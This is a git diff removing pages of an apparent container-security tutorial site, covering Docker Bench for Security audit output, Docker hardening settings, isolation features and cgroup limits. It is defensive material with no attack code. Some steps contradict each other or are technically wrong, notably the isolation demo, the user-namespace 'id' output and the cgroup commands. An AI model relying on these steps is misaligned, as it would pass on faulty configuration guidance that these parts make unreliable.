  7. Orchestrators (convert images into containers and deploy containers to hosts)
  8. -
  9. Hosts (run and stop containers as directed by the orchestrator)
  10. -
-

-

Attack surface of the container ecosystem

-

-

One way to start thinking about the threat model is to consider the actors involved. These might include:

-
    -
  1. External attackers attempting to access a deployment from outside
  2. -
  3. Internal attackers who have managed to access some part of the deployment
  4. -
  5. Malicious internal actors such as developers and administrators who have some level of privilege to access the deployment
  6. -
  7. Inadvertent internal actors who may accidentally cause problems
  8. -
  9. Application processes that, while not sentient beings intending to compromise -your system, might have programmatic access to the system
  10. -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/auditing-docker-security/index.html b/public/containersecurity/auditing-docker-security/index.html deleted file mode 100644 index 7d08115..0000000 --- a/public/containersecurity/auditing-docker-security/index.html +++ /dev/null @@ -1,961 +0,0 @@ - - - - - - - - -Auditing Docker Security · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Auditing Docker Security

-
-
- - -

Auditing Docker Security

-

DOCKER BENCH FOR SECURITY

-

Docker Bench for Security is an open source Bash script that checks for various common security best practices of deploying Docker in production environments. The tests are all automated and are based on the CIS Docker Benchmark. More information about Docker Bench for Security can be found -on GitHub: https://github.com/docker/docker-bench-security

-

auditing docker security with docker bench for security

-

The auditing process can be performed by following the procedures outlined below:

-

You first need to clone the docker/docker-bench-security GitHub repository on your Docker host. This can be done by running the following command:

-
git clone https://github.com/docker/docker-bench-security.git
-

After cloning the repository, you will need to navigate into the docker-bench-security repository that you just cloned:

-
cd docker-bench-security
-

The cloned directory will contain a Bash script named docker-bench-security.sh. We can run this script to perform the Docker security audit by running the following command:

-
sudo ./docker-bench-security.sh
-

When the script is executed, it will perform all the necessary security checks. Once completed, it will provide you with a baseline security score as highlighted

-
Section C - Score
-
-[INFO] Checks: 117
-[INFO] Score: -5
-

Docker Bench for Security Options

-
   b           optional  Do not print colors
-  -h           optional  Print this help message
-  -l FILE      optional  Log output in FILE, inside container if run using docker
-  -u USERS     optional  Comma delimited list of trusted docker user(s)
-  -c CHECK     optional  Comma delimited list of specific check(s) id
-  -e CHECK     optional  Comma delimited list of specific check(s) id to exclude
-  -i INCLUDE   optional  Comma delimited list of patterns within a container or image name to check
-  -x EXCLUDE   optional  Comma delimited list of patterns within a container or image name to exclude from check
-  -n LIMIT     optional  In JSON output, when reporting lists of items (containers, images, etc.), limit the number of reported items to LIMIT. Default 0 (no limit).
-  -p PRINT     optional  Disable the printing of remediation measures. Default: print remediation measures.
-

Running Docker Bench for poticular docker images

-
sudo ./docker-bench-security.sh -i hello-world
-Password:
-# --------------------------------------------------------------------------------------------
-# Docker Bench for Security v1.3.6
-#
-# Docker, Inc. (c) 2015-2023
-#
-# Checks for dozens of common best-practices around deploying Docker containers in production.
-# Based on the CIS Docker Benchmark 1.4.0.
-# --------------------------------------------------------------------------------------------
-
-Initializing 2023-01-04T19:09:21:z
-
-
-Section A - Check results
-
-[INFO] 1 - Host Configuration
-[INFO] 1.1 - Linux Hosts Specific Configuration
-[WARN] 1.1.1 - Ensure a separate partition for containers has been created (Automated)
-[INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
-[INFO]       * Users: 
-[WARN] 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
-[WARN] 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
-[INFO] 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
-[INFO]        * Directory not found
-[INFO] 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
-[INFO]        * Directory not found
-[INFO] 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
-[INFO]        * File not found
-[INFO] 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
-[INFO]        * File not found
-[INFO] 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
-[INFO]        * File not found
-[INFO] 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
-[INFO]        * File not found
-[INFO] 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
-[INFO]        * File not found
-[INFO] 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
-[INFO]        * File not found
-[INFO] 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
-[INFO]        * File not found
-[INFO] 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
-[INFO]         * File not found
-[INFO] 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
-[INFO]         * File not found
-[INFO] 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
-[INFO]         * File not found
-[INFO] 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
-[INFO]         * File not found
-[INFO] 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
-[INFO]         * File not found
-[INFO] 1.2 - General Configuration
-[NOTE] 1.2.1 - Ensure the container host has been Hardened (Manual)
-date: illegal time format
-usage: date [-jnRu] [-r seconds|file] [-v[+|-]val[ymwdHMS]]
-            [-I[date | hours | minutes | seconds]]
-            [-f fmt date | [[[mm]dd]HH]MM[[cc]yy][.ss]] [+format]
-./functions/helper_lib.sh: line 36: [: : integer expression expected
-./functions/helper_lib.sh: line 37: [: : integer expression expected
-[PASS] 1.2.2 - Ensure that the version of Docker is up to date (Manual)
-[INFO]        * Using 20.10.21 which is current
-[INFO]        * Check with your operating system vendor for support and security maintenance for Docker
-
-[INFO] 2 - Docker daemon configuration
-[NOTE] 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
-[WARN] 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
-[PASS] 2.3 - Ensure the logging level is set to 'info' (Scored)
-[PASS] 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
-[PASS] 2.5 - Ensure insecure registries are not used (Scored)
-[PASS] 2.6 - Ensure aufs storage driver is not used (Scored)
-[INFO] 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
-[INFO]      * Docker daemon not listening on TCP
-[INFO] 2.8 - Ensure the default ulimit is configured appropriately (Manual)
-[INFO]      * Default ulimit doesn't appear to be set
-[WARN] 2.9 - Enable user namespace support (Scored)
-[PASS] 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
-[PASS] 2.11 - Ensure base device size is not changed until needed (Scored)
-[WARN] 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
-[WARN] 2.13 - Ensure centralized and remote logging is configured (Scored)
-[WARN] 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
-[WARN] 2.15 - Ensure live restore is enabled (Scored)
-[WARN] 2.16 - Ensure Userland Proxy is Disabled (Scored)
-[PASS] 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
-[INFO] Ensure that experimental features are not implemented in production (Scored) (Deprecated)
-
-[INFO] 3 - Docker daemon configuration files
-[INFO] 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
-[INFO]      * File not found
-[INFO] 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
-[INFO]      * File not found
-[INFO] 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
-[INFO]      * File not found
-[INFO] 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
-[INFO]      * File not found
-[INFO] 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
-[INFO]      * Directory not found
-[INFO] 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
-[INFO]      * Directory not found
-[INFO] 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
-[INFO]      * Directory not found
-[INFO] 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
-[INFO]      * Directory not found
-[INFO] 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
-[INFO]      * No TLS CA certificate found
-[INFO] 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
-[INFO]       * No TLS CA certificate found
-[INFO] 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
-[INFO]       * No TLS Server certificate found
-[INFO] 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
-[INFO]       * No TLS Server certificate found
-[INFO] 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
-[INFO]       * No TLS Key found
-[INFO] 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
-[INFO]       * No TLS Key found
-stat: illegal option -- c
-usage: stat [-FLnq] [-f format | -l | -r | -s | -x] [-t timefmt] [file ...]
-[WARN] 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
-[WARN]       * Wrong ownership for /var/run/docker.sock
-stat: illegal option -- c
-usage: stat [-FLnq] [-f format | -l | -r | -s | -x] [-t timefmt] [file ...]
-./tests/3_docker_daemon_configuration_files.sh: line 429: [: : integer expression expected
-[WARN] 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
-[WARN]       * Wrong permissions for /var/run/docker.sock
-[INFO] 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
-[INFO]       * File not found
-[INFO] 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
-[INFO]       * File not found
-[INFO] 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
-[INFO]       * File not found
-[INFO] 3.20 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
-[INFO]       * File not found
-[INFO] 3.21 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
-[INFO]       * File not found
-[INFO] 3.22 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
-[INFO]       * File not found
-[INFO] 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
-[INFO]       * File not found
-[INFO] 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
-[INFO]       * File not found
-[INFO] 4 - Container Images and Build File
-[INFO] 4.1 - Ensure that a user for the container has been created (Automated)
-[INFO]      * No containers running
-[NOTE] 4.2 - Ensure that containers use only trusted base images (Manual)
-[NOTE] 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
-[NOTE] 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
-[WARN] 4.5 - Ensure Content trust for Docker is Enabled (Automated)
-[PASS] 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
-[PASS] 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
-[NOTE] 4.8 - Ensure setuid and setgid permissions are removed (Manual)
-[PASS] 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
-[NOTE] 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
-[NOTE] 4.11 - Ensure only verified packages are installed (Manual)
-[NOTE] 4.12 - Ensure all signed artifacts are validated (Manual)
-[INFO] 5 - Container Runtime
-[INFO]   * No containers running, skipping Section 5
-[INFO] 6 - Docker Security Operations
-[INFO] 6.1 - Ensure that image sprawl is avoided (Manual)
-[INFO]      * There are currently: 13 images
-[INFO]      * Only 0 out of 13 are in use
-[INFO] 6.2 - Ensure that container sprawl is avoided (Manual)
-[INFO]      * There are currently a total of 40 containers, with 18 of them currently running
-[INFO] 7 - Docker Swarm Configuration
-[PASS] 7.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
-[PASS] 7.2 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
-[PASS] 7.3 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
-[PASS] 7.4 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
-[PASS] 7.5 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
-[PASS] 7.6 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
-[PASS] 7.7 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
-[PASS] 7.8 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
-[PASS] 7.9 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
-[PASS] 7.10 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
-
-
-Section C - Score
-[INFO] Checks: 86
-[INFO] Score: -1
-

Run the Docker daemon as a non-root user, if possible (Manual)

-

The Docker containers by default run with the root privilege and so does the application that runs inside the container. This is another major concern from the security perspective because hackers can gain root access to the Docker host by hacking the application running inside the container.

-

Add user to Docker group

-
$ sudo groupadd docker
-

add your user to the docker group:

-
sudo usermod -aG docker [non-root user]
-

Using Dockerfile (USER instruction)

-

dit the Dockerfile that creates a non-root privilege user and modify the default root user to the newly-created non-root privilege user, as shown here:

-
##########################################
-# Dockerfile to change from root to 
-# non-root privilege
-###########################################
-# Base image is CentOS 7
-FROM Centos:7
-# Add a new user "sangam" with user id 8877
-RUN useradd -u 8877 sangam
-# Change to non-root privilege
-USER sangam
-

Proceed to build the Docker image using the “docker build” subcommand, as depicted here:

-
sudo docker build -t nonrootimage .
-

Finally, let’s verify the current user of our container using the id command in a docker run subcommand:

-
sudo docker run --rm nonrootimage id
-

Ensure network traffic is restricted between containers on the default bridge

-
sudo docker network ls 
-Password:
-NETWORK ID     NAME                                                         DRIVER    SCOPE
-beb64c03a4cf   bridge                                                       bridge    local
-1d337b15d114   host                                                         host      local
-88ea4badd709   meshery_docker-extension-meshery-desktop-extension_default   bridge    local
-3be4c0abf1a8   minikube                                                     bridge    local
-47444c7b3650   multinode-pod-security                                       bridge    local
-ed5ab538e49a   none                                                         null      local
-
sudo docker network inspect bridge
-
-Password:
-[
-    {
-        "Name": "bridge",
-        "Id": "beb64c03a4cf6c3385fd311edf8a3ff76670f62045068bad43ad4fcfe40f5c72",
-        "Created": "2023-01-04T11:46:52.643189959Z",
-        "Scope": "local",
-        "Driver": "bridge",
-        "EnableIPv6": false,
-        "IPAM": {
-            "Driver": "default",
-            "Options": null,
-            "Config": [
-                {
-                    "Subnet": "172.17.0.0/16",
-                    "Gateway": "172.17.0.1"
-                }
-            ]
-        },
-        "Internal": false,
-        "Attachable": false,
-        "Ingress": false,
-        "ConfigFrom": {
-            "Network": ""
-        },
-        "ConfigOnly": false,
-        "Containers": {},
-        "Options": {
-            "com.docker.network.bridge.default_bridge": "true",
-            "com.docker.network.bridge.enable_icc": "true",
-            "com.docker.network.bridge.enable_ip_masquerade": "true",
-            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
-            "com.docker.network.bridge.name": "docker0",
-            "com.docker.network.driver.mtu": "1500"
-        },
-        "Labels": {}
-    }
-]
-

If not required, you should restrict the network traffic between containers.

-

By default, unrestricted network traffic is enabled amongst all containers on the same host in the default network bridge. However, a bad actor positioned in a compromised container could leverage this functionality to abuse other services exposed by other containers within the container network on the same host.

-

To disable the inter-container communication, configure the daemon with the icc flag set to false. Note that this configuration can be overridden by containers that are run with the deprecated –link option.

-
$ docker network ls -q | xargs docker network inspect -f '{{ .Name }}: {{ .Options }}'
-

The com.docker.network.bridge.enable_icc should be set to false for the default network bridge.

-

You should also consider using user-defined bridge networks to enforce network isolation among containers as a more flexible solution.

-

Protect the UNIX socket from unintended access

-

The non-networked /var/run/docker.sock UNIX socket is used by default to locally access the Docker Engine API. The safe default settings on Linux include a socket file owned by the “root” user and a “docker” group allowing solely “root” read and write file permission (ug+rw).

-

Run this command to review the correctness of the Docker UNIX socket permissions.

-
$ ls -l /var/run/docker.sock
-lrwxr-xr-x  1 root  daemon  44  4 Jan 17:16 /var/run/docker.sock -> /Users/sangambiradar/.docker/run/docker.sock
-

Use secure registries to pull and push images

-

nsecure registries do not use TLS, nor do they have an invalid TLS certificate. Such registries should not be used as they are prone to man-in-the-middle (MITM) attacks by malicious actors who are able to modify the network traffic.

-

Run the below command to list the insecure registries used by the Docker daemon.

-

-docker info --format '{{.RegistryConfig.InsecureRegistryCIDRs}}'
-

Enable user namespace support

-
ps aux | grep dockerd
-sangambiradar    34266   0.0  0.0 408626880   1280 s000  S+    7:22PM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox dockerd
-
docker container run -it --rm alpine /bin/sh
-Unable to find image 'alpine:latest' locally
-latest: Pulling from library/alpine
-261da4162673: Pull complete 
-Digest: sha256:8914eb54f968791faf6a8638949e480fef81e697984fba772b3976835194c6d4
-Status: Downloaded newer image for alpine:latest
-/ # whoami 
-root
-

To follow the principle of least privilege, containerized applications should not be run as root. To achieve this, then the –user parameter can be used to specify a user other than root for the container. It accepts as value a username (if it was previously created in the Dockerfile) or a UID, optionally a GID as well.

-

Enable Content Trust

-

Ensure Content trust for Docker is Enabled. Content trust is a system for signing Docker images and verifying their signatures before running them. We can enable content trust with the DOCKER_CONTENT_TRUST environment variable.

-

To set this variable for your current shell -session, type the following into the shell:

-
export DOCKER_CONTENT_TRUST=1
-

Running the audit after this export command should show that Content trust has been enabled and clear this warning. To enable it automatically for all users and all sessions, add the DOCKER_CONTENT_TRUST variable to the /etc/environment file, which is a file for assigning system-wide environment variables:

-
echo "DOCKER_CONTENT_TRUST=1" | sudo tee -a /etc/environment
-

Ensure auditing is configured for various Docker files

-
sudo apt-get install auditd
-
sudo nano /etc/audit/audit.rules
-ubuntu@enormous-longspur:~$ sudo cat  /etc/audit/audit.rules
-## This file is automatically generated from /etc/audit/rules.d
--D
--b 8192
--f 1
---backlog_wait_time 60000
-
--w /usr/bin/docker -p wa
--w /var/lib/docker -p wa
--w /etc/docker -p wa
--w /lib/systemd/system/docker.service -p wa
--w /lib/systemd/system/docker.socket -p wa
--w /etc/default/docker -p wa
--w /etc/docker/daemon.json -p wa
--w /usr/bin/docker-containerd -p wa
--w /usr/bin/docker-runc -p wa
-

Restart auditd for the changes to take effect:

-
sudo systemctl restart auditd
-

Correcting Docker Daemon Configuration Warnings

-
sudo nano /etc/docker/daemon.json
-ubuntu@docker:~/docker-bench-security$ cat nano /etc/docker/daemon.json
-cat: nano: No such file or directory
-
-{
-    "icc": false,
-    "userns-remap": "default",
-    "log-driver": "syslog",
-    "disable-legacy-registry": true,
-    "live-restore": true,
-    "userland-proxy": false,
-    "no-new-privileges": true
-}
-ubuntu@docker:~/docker-bench-security$ 
-
-sudo systemctl restart docker
-

Enable Content Trust

-

Content trust is a system for signing Docker images and verifying their signatures before running them. We can enable content trust with the DOCKER_CONTENT_TRUST environment variable.

-
export DOCKER_CONTENT_TRUST=1
-

Running the audit after this export command should show that Content trust has been enabled and clear this warning. To enable it automatically for all users and all sessions, add the DOCKER_CONTENT_TRUST variable to the /etc/environment file, which is a file for assigning system-wide environment variables:

-
echo "DOCKER_CONTENT_TRUST=1" | sudo tee -a /etc/environment
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/capabilities/index.html b/public/containersecurity/capabilities/index.html deleted file mode 100644 index f46050d..0000000 --- a/public/containersecurity/capabilities/index.html +++ /dev/null @@ -1,614 +0,0 @@ - - - - - - - - -Capabilities · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Capabilities

-
-
- - -

Capabilities

- -

1.Process isolation: This allows the separation of processes between different containers, ensuring that processes running in one container do not have access to resources or processes in another container.

-

2.Resource limitation: This allows the allocation of specific resources (such as CPU, memory, and disk space) to each container, ensuring that one container does not consume more resources than it has been allocated.

-

3.User namespace: This allows the creation of user accounts within a container that are separate from the host system, ensuring that users within a container do not have access to resources outside of the container.

-

4.SELinux or AppArmor: These are security frameworks that allow administrators to set granular permissions for processes and resources within a container, ensuring that only authorized processes and resources can be accessed.

-

5.Network isolation: This allows the creation of separate network environments for each container, ensuring that containers cannot communicate with each other or the host system unless explicitly allowed.

-

Overall, these capabilities help to ensure that containers are secure and isolated from each other, protecting the host system and other containers from potential vulnerabilities or attacks.

-

Process Isolation

- -

One way to demonstrate process isolation in a container is to create two containers, each running a different application. For example, we can create a container running a web server and another container running a database. We can then verify that the processes running inside each container are isolated from each other by trying to access the database from the web server container (which should fail).

-

Here is a hands-on example of how to demonstrate process isolation in containers using Docker:

-

First, install Docker on your machine if you don’t already have it. -Start by creating a Docker network for our containers to communicate over. Run the following command:

-
docker network create my-network
-

Next, create a container running a web server by running the following command:

-
docker run -d --name web-server --network my-network -p 80:80 nginx:latest
-

This will create a container running the latest version of the nginx web server, and expose it on port 80 of the host machine.

-

Now, create a second container running a database by running the following command:

-
docker run -d --name database --network my-network -p 3306:3306 mysql:latest
-

This will create a container running the latest version of the MySQL database, and expose it on port 3306 of the host machine.

-

To verify that the two containers are isolated from each other, try to connect to the database from the web server container by running the following command:

-
docker exec -it web-server mysql -h database -u root -p
-

This should fail with an error message, indicating that the web server container is unable to access the database container.

-

if you want to verify that the two containers are able to communicate with each other, you can connect to the web server container and use the curl command to make a request to the database container. For example:

-
docker exec -it web-server bash
-curl http://database:3306
-

This should return the MySQL welcome message, indicating that the web server container is able to communicate with the database container.

-

Overall, this example demonstrates how process isolation in containers can be used to securely separate different applications and services, even though they are running on the same machine.

-

Resource limitation

- -

One example of using resource limitation capabilities in a hands-on scenario is to set limits on the CPU and memory usage of a container when deploying it. This can be done using the --cpu-shares and --memory flags when running the docker run command. For example:

-
$ docker run -d --name my-container --cpu-shares 512 --memory 512MB my-image
-

This command will run a container named “my-container” using the image “my-image”, and limit the container’s CPU usage to 512 shares (which is a relative value based on the host system’s CPU) and its memory usage to 512MB. If the container tries to use more resources than these limits, it will be restricted and may experience performance issues.

-

Resource limitation capabilities can be an effective tool for improving the security and stability of a container environment, as they can prevent a single container from causing issues for other containers or the host system. However, it’s important to carefully consider the resource requirements of each container and set appropriate limits to ensure that the container has sufficient resources to function properly.

-

User namespace

- -
    -
  • Running a container with a different user or group ID than the host system, which can help to isolate the processes within the container and prevent them from accessing sensitive host resources.
  • -
  • Allowing a container to run as a specific user or group ID, even if that user or group ID does not exist on the host system. This can be useful when the container needs to access certain resources that are restricted to specific users or groups. -To demonstrate a hands-on example of user namespaces in container security, we can run a container with a different user and group ID than the host system. For example, we can create a container that runs as the “foo” user and “bar” group, even if those users and groups do not exist on the host system.
  • -
-

To do this, we can use the following Docker command:

-
$ docker run --rm -it --user 1000:1000 --name test-container ubuntu
-

This will create a new container with the name “test-container”, running the Ubuntu image and using the user and group IDs of 1000. We can verify that the container is running as the correct user and group by running the id command inside the container:

-
# id
-uid=1000(foo) gid=1000(bar) groups=1000(bar)
-

As we can see, the container is now running as the “foo” user and “bar” group. This allows us to isolate the processes within the container and prevent them from accessing sensitive host resources. It also allows us to access resources that are restricted to specific users or groups within the container, even if those users or groups do not exist on the host system.

-

SELinux or AppArmor

- -

SELinux is a Linux kernel security module that allows administrators to define fine-grained access control policies for users, processes, and files. These policies are enforced at the kernel level, making it difficult for malicious actors to bypass or manipulate them.

-

To demonstrate SELinux in action, we can create a simple container and apply an SELinux context to it. For example, let’s create a container using the following command:

-
$ docker run -it ubuntu bash
-

Next, we can apply an SELinux context to the container by using the chcon command:

-
$ chcon -t container_t /var/lib/docker/overlay2/<container_id>
-

This sets the SELinux context for the container to “container_t”, which is a type of SELinux policy that is designed specifically for containers. This policy allows the container to access certain resources, such as networking and file system resources, but restricts its access to other resources, such as system processes and system files. - -AppArmor is another mandatory access control system that can be used to secure containers. It works by defining profiles for applications, which specify what resources and actions the application is allowed to access and perform. These profiles are enforced at the kernel level, making it difficult for malicious actors to bypass or manipulate them. - -To demonstrate AppArmor in action, we can create a container and apply an AppArmor profile to it. For example, let’s create a container using the following command:

-
$ docker run -it ubuntu bash
-

Next, we can apply an AppArmor profile to the container by using the aa-enforce command:

-
$ aa-enforce /etc/apparmor.d/container_profile
-

This sets the AppArmor profile for the container to “container_profile”, which is a predefined profile that is designed specifically for containers. This profile allows the container to access certain resources, such as networking and file system resources, but restricts its access to other resources, such as system processes and system files.

-

Network isolation

- -

To create a Docker network and specify which containers can connect to it, we can use the following command:

-
docker network create --driver bridge isolated
-

To add Container A to this network, we can use the following command:

-
docker network connect isolated ContainerA
-

This would effectively isolate Container A from Container B and the host system, as they would not be able to communicate with it through the network. - -Overall, network isolation capabilities in container security are important for maintaining the security and isolation of containers, as they allow users to specify which containers can communicate with each other and the host system. By using tools such as Docker networks, users can easily implement network isolation in their container environment.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/cgroups/index.html b/public/containersecurity/cgroups/index.html deleted file mode 100644 index df615ad..0000000 --- a/public/containersecurity/cgroups/index.html +++ /dev/null @@ -1,633 +0,0 @@ - - - - - - - - -Cgroups · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Cgroups

-
-
- - -

Cgroups

- -

In a container environment, Cgroups are used to ensure that each container has its own set of resources and cannot interfere with other containers or the host system. This helps to isolate the containers from each other and allows them to run in a more predictable and stable manner.

-

Cgroups can be used to set limits on the amount of resources a container can use, such as CPU time or memory usage. This ensures that a single container cannot monopolize resources and negatively impact the performance of other containers or the host system.

-

Cgroups are a key component in containerization technologies such as Docker and Kubernetes, which use them to manage and allocate resources for containers. They help to ensure that containers have the resources they need to run effectively, while also preventing resource contention between containers.

-

There are several types of cgroups (control groups) that can be used in a container:

-

1.CPU: This cgroup limits the amount of CPU resources available to a container. It can be used to ensure that a container does not consume too much CPU time, which can impact the performance of other containers or the host machine.

-

2.Memory: This cgroup limits the amount of memory available to a container. It can be used to prevent a container from consuming too much memory, which can cause the host machine to run out of available memory. -3.Disk I/O: This cgroup limits the amount of disk I/O (input/output) available to a container. It can be used to ensure that a container does not consume too much disk I/O, which can impact the performance of other containers or the host machine. -4.Network: This cgroup limits the amount of network bandwidth available to a container. It can be used to ensure that a container does not consume too much network bandwidth, which can impact the performance of other containers or the host machine. -5.PID: This cgroup limits the number of processes that a container can run. It can be used to prevent a container from creating too many processes, which can impact the performance of other containers or the host machine.

-

CPU Cgroup with example

- -

To illustrate this with a hands-on example, let’s say we have two containers running on our system: Container A and Container B. We want to allocate 50% of the CPU resources to Container A and the remaining 50% to Container B.

-

To do this, we can use the “cgcreate” command to create a new CPU Cgroup for Container A:

-
$ cgcreate -g cpu:/container_a
-

Next, we can use the “cgset” command to specify the CPU resources that Container A is allowed to use:

-
$ cgset -r cpu.cfs_quota_us=50000 container_a
-

This sets the CPU quota for Container A to 50,000 microseconds (50% of the available CPU resources).

-

Finally, we can use the “cgclassify” command to assign the processes running in Container A to this Cgroup:

-
$ cgclassify -g cpu:/container_a $(pidof <process name>)
-

This will ensure that the processes running in Container A are only allowed to use up to 50% of the CPU resources.

-

We can repeat this process for Container B to allocate the remaining 50% of CPU resources to it.

-

By using CPU Cgroups, we can effectively control and allocate CPU resources to different containers and processes on our system, ensuring that each container or process gets the resources it needs without causing resource contention.

-

Memory Cgroup with example

- -

Memory Cgroups (control groups) are a Linux kernel feature that allow administrators to allocate and limit the amount of memory resources available to a group of processes. This is particularly useful in the context of containers, where the containerized applications are isolated from the host system and can potentially consume all available memory resources.

-

For example, consider a situation where a containerized application is running on a host with 8 GB of memory. Without memory Cgroups, the application could potentially consume all 8 GB of memory, potentially causing other processes on the host to crash or experience performance issues.

-

To address this issue, an administrator can use memory Cgroups to limit the amount of memory available to the containerized application. For example, the administrator could specify that the containerized application is only allowed to use 4 GB of memory. If the application attempts to consume more than 4 GB of memory, it will be killed by the kernel.

-

To demonstrate this concept with a hands-on example, we can use the “docker” command to run a containerized application and specify a memory limit using the --memory flag. For example:

-
docker run --memory 4g my_containerized_app
-

This command will run the containerized application my_containerized_app and limit it to using a maximum of 4 GB of memory. If the application attempts to consume more than 4 GB of memory, it will be killed by the kernel.

-

Disk I/O Cgroup with example

- -

To create a Disk I/O Cgroup in a container environment, you will need to have a container runtime that supports Cgroups, such as Docker or Kubernetes.

-

Here is a hands-on example using Docker:

-
    -
  1. Run the following command to create a new container named “my-container” with a Disk I/O Cgroup limit of 100 kilobytes per second (KB/s):
  2. -
-
docker run -it --name my-container --cgroup-parent my-cgroup 
---device-read-bps /dev/sda:100000 --device-write-bps /dev/sda:100000 ubuntu
-

Once the container is running, you can use the cgclassify command to verify that the Disk I/O Cgroup limit has been applied:

-
cgclassify -g blkio:/my-cgroup/my-container
-

You can also use the cgtop command to monitor the Disk I/O usage of the container in real-time:

-
cgtop -d 1 -c 2 -g blkio
-

his will display a list of all containers with Disk I/O Cgroups, along with their usage and limits. In this example, you should see “my-container” listed with a limit of 100 KB/s.

-

